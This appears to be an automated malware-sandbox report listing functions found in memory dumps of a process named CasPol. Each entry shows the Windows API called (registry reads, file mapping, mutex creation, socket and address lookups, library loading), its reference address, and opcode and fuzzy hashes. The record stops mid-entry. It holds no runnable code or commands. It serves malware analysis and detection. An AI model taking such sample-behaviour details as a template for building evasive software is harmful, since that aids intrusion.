Opcode Fuzzy Hash: bee67539c005906f6fa6c8b329ec1398b90cfb34cc22cffbe068cee07bedbe1f
Instruction Fuzzy Hash: E3313A7544E3C0AFE3138B219C55B52BFB8DF47214F1A81DBE9848F1A3D269A909C772

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3054C Relevance: 1.6, APIs: 1, Instructions: 90fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 1FE305ED

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: acc6cde1abfbb899181e04d2f141ae38189b01735f7b69f1f2ec6ec4f56c4a34
Instruction ID: 65e8c5e632d9af852070e960fc6c22384d2a2ee90c0674d49a827ca763b69f1f
Opcode Fuzzy Hash: acc6cde1abfbb899181e04d2f141ae38189b01735f7b69f1f2ec6ec4f56c4a34
Instruction Fuzzy Hash: 39319071504380AFE721CF65DC44F62BFE8EF09214F08859AE9848B292D375F409CB71

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A519 Relevance: 1.6, APIs: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1D45A5C9

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 95d8f7fe0312743921eee6e85796bea9da8a432e75f387b997c341244a7397b9
Instruction ID: 1426b26721e21f510ae20884aa11a5a831ec5bfb0900758d26288cfca26a9c3b
Opcode Fuzzy Hash: 95d8f7fe0312743921eee6e85796bea9da8a432e75f387b997c341244a7397b9
Instruction Fuzzy Hash: D331A276509384AFE7128B25DC85F67FFBCEF05210F08859AF985CB152D224A948CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31D2C Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(?,00000EA4), ref: 1FE31DC3

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: fa51149d560c4446af95e88d55a61429265163668cbe2437768b7533b417cea3
Instruction ID: 6133b782b444c2b7a2bce22e62355ea73a82099ad02f128c732f9d91f3d8509b
Opcode Fuzzy Hash: fa51149d560c4446af95e88d55a61429265163668cbe2437768b7533b417cea3
Instruction Fuzzy Hash: 7D31C172504385AFE712CF65DC45FA7FBB8EF45320F0884AAE985DF152D264E808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1D45ACEC Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1D45AD86

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: eca7d0438e57d07d54ff537e653d48e5e924a0a6b43727c6852355ce8aebe66d
Instruction ID: bf30c4cebcf151d568e83307449af9c539a1928c28000bc74b76f0d218ffd36e
Opcode Fuzzy Hash: eca7d0438e57d07d54ff537e653d48e5e924a0a6b43727c6852355ce8aebe66d
Instruction Fuzzy Hash: AF21A7725057C0AFE712CB60DC85F56BFB8EF06320F18859AE985DF153D225A849C771

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A611 Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1D45A6CC

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 46408007dee3152b13df864ffecf455f18ad06d9bb005a7e4666e9f9a6af148c
Instruction ID: 45cf69644fcc28fcccd086573aacfb5bada77737b123ca7ae9b489d88f429444
Opcode Fuzzy Hash: 46408007dee3152b13df864ffecf455f18ad06d9bb005a7e4666e9f9a6af148c
Instruction Fuzzy Hash: F3319375105780AFE712CB21CC85F63BFB8EF06310F18849AE985CB253D264E949CB71

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31FC4 Relevance: 1.6, APIs: 1, Instructions: 88fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 1FE32076

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 749bd06e79c88f31f1ddfa675f21429f95c9196c802c7f20848655293ba5abe9
Instruction ID: 88c63402ccff22761a9577d5b33c896452689da47aaa99c6ce84be2226447e90
Opcode Fuzzy Hash: 749bd06e79c88f31f1ddfa675f21429f95c9196c802c7f20848655293ba5abe9
Instruction Fuzzy Hash: C0319572405780AFE712CF55DC45F96FFF8EF09324F04859AE9848F252D365A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31C2E Relevance: 1.6, APIs: 1, Instructions: 87registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE31CD8

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: ffb999d19dc1dd3eb91b3197691b3275509b1ef459d33b210d47b692c2ea7978
Instruction ID: b894e55771331f0745ea572340c2874b752e535e7084ea35d3613f107e171f04
Opcode Fuzzy Hash: ffb999d19dc1dd3eb91b3197691b3275509b1ef459d33b210d47b692c2ea7978
Instruction Fuzzy Hash: 23317F76509780AFE712CB21DC44F92BFB8EF06214F0984DAE9858B193D265E909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32279 Relevance: 1.6, APIs: 1, Instructions: 85synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 1FE32319

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 2c899c059ba501a52fc91bdf628be7287e27dfe40b208126117de1370131cf30
Instruction ID: 3334ee5b02b8b0314416ce5d58eb396c6d73962c4683a650d77ac3d3c4ab08a5
Opcode Fuzzy Hash: 2c899c059ba501a52fc91bdf628be7287e27dfe40b208126117de1370131cf30
Instruction Fuzzy Hash: D13141B1509380AFE711CB65DC85F56FBA8EF05214F09859AE984CF292D375A904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31305 Relevance: 1.6, APIs: 1, Instructions: 85registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.KERNEL32(?,00000EA4,?,?), ref: 1FE313B6

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: f437818202e909901048f93bd5b7fcb8936525634250d8b20ecb9d5c320a340d
Instruction ID: cec641a0e4755289992507f44083ae725224f41dee8887b9ddd39096f00044f0
Opcode Fuzzy Hash: f437818202e909901048f93bd5b7fcb8936525634250d8b20ecb9d5c320a340d
Instruction Fuzzy Hash: CC31616254E3C06FD3138B358C65A11BF74AF47610B0D84CBD884CF1A3D225A919D7B2

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3340E Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000EA4), ref: 1FE334B3

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: d0a26439db16a27b4ccc8f23f87b1c1aca4314f8804cb1927f87be07898b33aa
Instruction ID: db868a477db40726878696a9a597188408d6bb068e648e372ed708c250dd00c7
Opcode Fuzzy Hash: d0a26439db16a27b4ccc8f23f87b1c1aca4314f8804cb1927f87be07898b33aa
Instruction Fuzzy Hash: F021D1B1500304AFF721DB64DD89FA6F7ACEF04310F04895AFA489B281D675A945CB71

Uniqueness

Uniqueness Score: -1.00%

Function 1FE313E2 Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1FE31476

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 8101dbdb5b22ef7421518464122b0f5b4891421fe16fb459228da4c0aad4a252
Instruction ID: 9af1a4e9c4f77c0eaadedb868f082401f2587e23aed321f29eb072b65cad2200
Opcode Fuzzy Hash: 8101dbdb5b22ef7421518464122b0f5b4891421fe16fb459228da4c0aad4a252
Instruction Fuzzy Hash: EC219FB2505384AFE7218F64DC49F66FFB8EF45310F08859AF984DB292D265E808CB71

Uniqueness

Uniqueness Score: -1.00%

Function 1FE329A0 Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000EA4), ref: 1FE32A39

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: e1ee57493d863668cc33b8c6f32c732c9492bba86cddbaffc93f4317cb69ccae
Instruction ID: 72b66eee4195560578cfc2feb56473bd6a4f2d56c31d887f8324dbec90399df3
Opcode Fuzzy Hash: e1ee57493d863668cc33b8c6f32c732c9492bba86cddbaffc93f4317cb69ccae
Instruction Fuzzy Hash: 1321E1B1409384AFE7128B24DC45F66FFB8EF46314F08849BE9849F193D264A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32B9A Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE32C44

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: dd56e4ac61c525753117db2f2cba8583605afd6329f04c7af080f574db567bd9
Instruction ID: ecbc325448b6dc53ca5262256d7b3a2934c8c1d3adff9a08a7bad5fb5d410b32
Opcode Fuzzy Hash: dd56e4ac61c525753117db2f2cba8583605afd6329f04c7af080f574db567bd9
Instruction Fuzzy Hash: 6531C372405784AFEB12CB10DC88F96FFB8EF46314F08859AE9849F153D275A509CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 1D45ADE5 Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1D45AE76

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: b6a9388dfcac7b727266b4c85822e945118e0ddb372b169a546d7b216b062100
Instruction ID: 22f0b8379738283f204e9ffdb807af8613039641f259b919a84c428435fd2836
Opcode Fuzzy Hash: b6a9388dfcac7b727266b4c85822e945118e0ddb372b169a546d7b216b062100
Instruction Fuzzy Hash: 58219171545384AFE712CB11DC85F67FFACEF46210F08849AE985DB252D264E848CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32370 Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE32404

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: shutdown
String ID:
API String ID: 2510479042-0
Opcode ID: 3ed454d5a060a3dd03b13bc89515911107f8c57e774c681349d1215c655f1b8e
Instruction ID: a127d24b54b6ab19d3b2c3bbc27850883ca186dbce459a4f283c9b07c880d929
Opcode Fuzzy Hash: 3ed454d5a060a3dd03b13bc89515911107f8c57e774c681349d1215c655f1b8e
Instruction Fuzzy Hash: 0C210875404380AFE712CF10DC85F56FFB8EF46320F1884DAE9849F193D265A909CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1D45AEDC Relevance: 1.6, APIs: 1, Instructions: 81COMMON

Download Yara Rule

APIs

K32GetModuleBaseNameW.KERNEL32(?,00000EA4,?,?), ref: 1D45AF82

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: BaseModuleName
String ID:
API String ID: 595626670-0
Opcode ID: fa4aa981389b96b5e6493158281d7f0289afba10d3ac70a1af19ddfd8339599a
Instruction ID: 9bfb56ca243f8658e4fe9ff9b3db8dd24042f26960b18d46879edfa23f182835
Opcode Fuzzy Hash: fa4aa981389b96b5e6493158281d7f0289afba10d3ac70a1af19ddfd8339599a
Instruction Fuzzy Hash: 2C21A2715093C0AFD312CB65CC55B66BFB4EF47210F0984DBD8848F193D624A909CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32454 Relevance: 1.6, APIs: 1, Instructions: 79timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE324DD

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 3526d74a12196bef300ff34ddf80d9964a24bbe852258a6eeb76fa4be7585711
Instruction ID: 6050b86e720f9ee72134a8e991d8c126e1ac5f68fa6fdd29b2a6a64feafe66e2
Opcode Fuzzy Hash: 3526d74a12196bef300ff34ddf80d9964a24bbe852258a6eeb76fa4be7585711
Instruction Fuzzy Hash: EC21A171505780AFEB128F50DC88F56FFB8EF06310F08849AF9859F192D225A409CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31EE2 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 1FE31F6D

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: a24d23b71d9941430837d01c26c0e1ae2e82ad2928cdd64e870ceab30e41e230
Instruction ID: d6c6ea2b8100e43f23b21c5f739fa3b3587993a88087781f9e3eda9ee256d56b
Opcode Fuzzy Hash: a24d23b71d9941430837d01c26c0e1ae2e82ad2928cdd64e870ceab30e41e230
Instruction Fuzzy Hash: 0A2171B1509380AFE711CB65DC45F56FBB8EF05224F0885AEE9848F292D375E908CB66

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32AC6 Relevance: 1.6, APIs: 1, Instructions: 78registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1FE32B45

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 76895a968ef5d4c255de3fc19d03c721dfd429af8650ad55442874b4cf26e44b
Instruction ID: 6dcb5763063f174a59c8375524df4737855572e8a82cd8fc8a0cfa8f209b964c
Opcode Fuzzy Hash: 76895a968ef5d4c255de3fc19d03c721dfd429af8650ad55442874b4cf26e44b
Instruction Fuzzy Hash: 7F219072900344AFF711DF64DD89F6AF7ACEF04711F04855AE9849B241D634E408CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A722 Relevance: 1.6, APIs: 1, Instructions: 77registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000EA4,?,?), ref: 1D45A7BE

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 26f1227b147b30bf89f081515bb689fa9f5ab2e89b1cc6d48d9f477b7251b668
Instruction ID: f153ce75e81fc244433e0cece565c8985962559ae4627faa185d6a119a76865b
Opcode Fuzzy Hash: 26f1227b147b30bf89f081515bb689fa9f5ab2e89b1cc6d48d9f477b7251b668
Instruction Fuzzy Hash: 8021F8755093C06FD3138B25CC51B62BFB8EF87610F0981CBE8848B693D2656919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3056E Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 1FE305ED

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7729a4e0c6b601bb0cf6c26c299c4a767bf15cd735bcf4c6d1d9afca9e26c7f5
Instruction ID: 6bd5380f36c4e9d3cd1f17cad95dfafbca87cf4964f125dda0d33ba5518ce1a6
Opcode Fuzzy Hash: 7729a4e0c6b601bb0cf6c26c299c4a767bf15cd735bcf4c6d1d9afca9e26c7f5
Instruction Fuzzy Hash: BE217C71500240AFE721CF69DD89B56FBE8EF08214F04856AEA889B692E371F504CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31D52 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(?,00000EA4), ref: 1FE31DC3

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: 70a617cfc4eae6557a22e0588b8ead2e39276d8d0cf253841c38153f77d35cbe
Instruction ID: 602f2350980588f04c7206ef4565f111da1d9ff7ca66cc9fb21421e0652371b2
Opcode Fuzzy Hash: 70a617cfc4eae6557a22e0588b8ead2e39276d8d0cf253841c38153f77d35cbe
Instruction Fuzzy Hash: 1521CF72900344AFFB10DF29DC89B6AFBACEF44321F04856AE945DB241D274E804CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31A0F Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 1FE31A8C

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 58b33293847afc668ab86dd9305e45d9d0b8dc9caa8757310d0546565063668e
Instruction ID: 6452b9a129ab25bbc9f135af7ebcece9068a70345eefc2bc925af21db12a57f4
Opcode Fuzzy Hash: 58b33293847afc668ab86dd9305e45d9d0b8dc9caa8757310d0546565063668e
Instruction Fuzzy Hash: 22219F724093C0AFD7128F65DC54AA2BFB4EF07325F0985DBE8C48F163D2259849CB61

Uniqueness

Uniqueness Score: -1.00%

Function 1D45BE8C Relevance: 1.6, APIs: 1, Instructions: 76libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000EA4), ref: 1D45BF27

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 94b9699c6139b9d5bd9533b6443fb7f6fad5d54971ee12788fe6d46e981376af
Instruction ID: 26998a80cfd515f0bbcdb2b5dcb185955be70f7bc8b5aa5c8f7619fa141fe81c
Opcode Fuzzy Hash: 94b9699c6139b9d5bd9533b6443fb7f6fad5d54971ee12788fe6d46e981376af
Instruction Fuzzy Hash: A721C875049380AFE712CB11CC85F92FFB8DF46320F1880DAF9889F192D265A949CB76

Uniqueness

Uniqueness Score: -1.00%

Function 1D45A54A Relevance: 1.6, APIs: 1, Instructions: 74registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1D45A5C9

Memory Dump Source

Source File: 00000007.00000002.6669280271.000000001D45A000.00000040.00000800.00020000.00000000.sdmp, Offset: 1D45A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1d45a000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: b087ee59c7cc4b32e60304c335e4f36a0bbfae136bc47288daf460ecd570d85f
Instruction ID: 0bef1b313461653e228c49ce02df2e93d3f1a98e9ab4483303370ddde03767d0
Opcode Fuzzy Hash: b087ee59c7cc4b32e60304c335e4f36a0bbfae136bc47288daf460ecd570d85f
Instruction Fuzzy Hash: F8219F72500704AFF721DA55DD85F6BFBACEF08620F04855AF9458B241D674E9098BB2

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32CC6 Relevance: 1.6, APIs: 1, Instructions: 73registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1FE32D3A

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: fa6258f3a904ee7e39d45176558708b48a968d177c2014c45ec19ed4a984a476
Instruction ID: bb020e179ebbb6e1230821863d72e4ce23c92c9d3b6c10b4c6818a96b13e983b
Opcode Fuzzy Hash: fa6258f3a904ee7e39d45176558708b48a968d177c2014c45ec19ed4a984a476
Instruction Fuzzy Hash: 0521A1B2900344AFF7219F64DD49F6AFBACEF44711F04895AED849B241D274E809CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 1FE335BE Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE3364D

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 2298bf4dfac8e0bf132d7e02dd9f79871488de75584b47ff184fff72c2e66dd4
Instruction ID: 4e320e31881c29c27994f314c84b34cca028e875ef7799cbfcacf20b6f1fa9c4
Opcode Fuzzy Hash: 2298bf4dfac8e0bf132d7e02dd9f79871488de75584b47ff184fff72c2e66dd4
Instruction Fuzzy Hash: 0C21A1754097C0AFE7128B11DC84F96FFB8EF46310F08858AE9858F293D265A908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1FE3094E Relevance: 1.6, APIs: 1, Instructions: 73fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE309CD

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d728c4b268d716ec99de35024aff4096d0927571d85f0342511bca0c0f75afb7
Instruction ID: 25b53a4c403c860ccb0510df22b8f8a5d2b580fb90ea8aea509f525e5ac19edf
Opcode Fuzzy Hash: d728c4b268d716ec99de35024aff4096d0927571d85f0342511bca0c0f75afb7
Instruction Fuzzy Hash: D421CFB2404380AFE722CF51DC84FA7FFACEF45320F04849AF9849B152D265A808CB71

Uniqueness

Uniqueness Score: -1.00%

Function 1FE31402 Relevance: 1.6, APIs: 1, Instructions: 73registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,00000EA4), ref: 1FE31476

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 35d9e13f9b03a0a60db2e62c9914cca076bfab4e2d57acb54201a332b9c69565
Instruction ID: 76f07f53eb9cb194fab302be87dae61bc83a8534f4cb3d2e92afbae900403b53
Opcode Fuzzy Hash: 35d9e13f9b03a0a60db2e62c9914cca076bfab4e2d57acb54201a332b9c69565
Instruction Fuzzy Hash: FC216D72900344AFF7209F65DD89F6AFBA8EF48725F08855AED449B241D279E804CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 1FE32806 Relevance: 1.6, APIs: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,00000EA4,E552CEA1,00000000,00000000,00000000,00000000), ref: 1FE3288A

Memory Dump Source

Source File: 00000007.00000002.6697150293.000000001FE30000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FE30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1fe30000_CasPol.jbxd

Similarity

API ID: EventSelect
String ID:
API String ID: 31538577-0
Opcode ID: 4a763c448593806ff5391ee69e68d4f41b220e808dbb69903bf8db1ac2b91412
Instruction ID: cc511cb6d1f4f6627016a4b41a36da302ec1c438ab027f8f74edb5e57847e68e
Opcode Fuzzy Hash: 4a763c448593806ff5391ee69e68d4f41b220e808dbb69903bf8db1ac2b91412
Instruction Fuzzy Hash: AC217CB2404384AFE712CB51DD88F97FBACEF45320F0884ABE9849B142D264A508CB72

Uniqueness

Uniqueness Score: -1.00%

Function 1FE322A6 Relevance: 1.6, APIs: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 1FE32319

Memory Dump Source

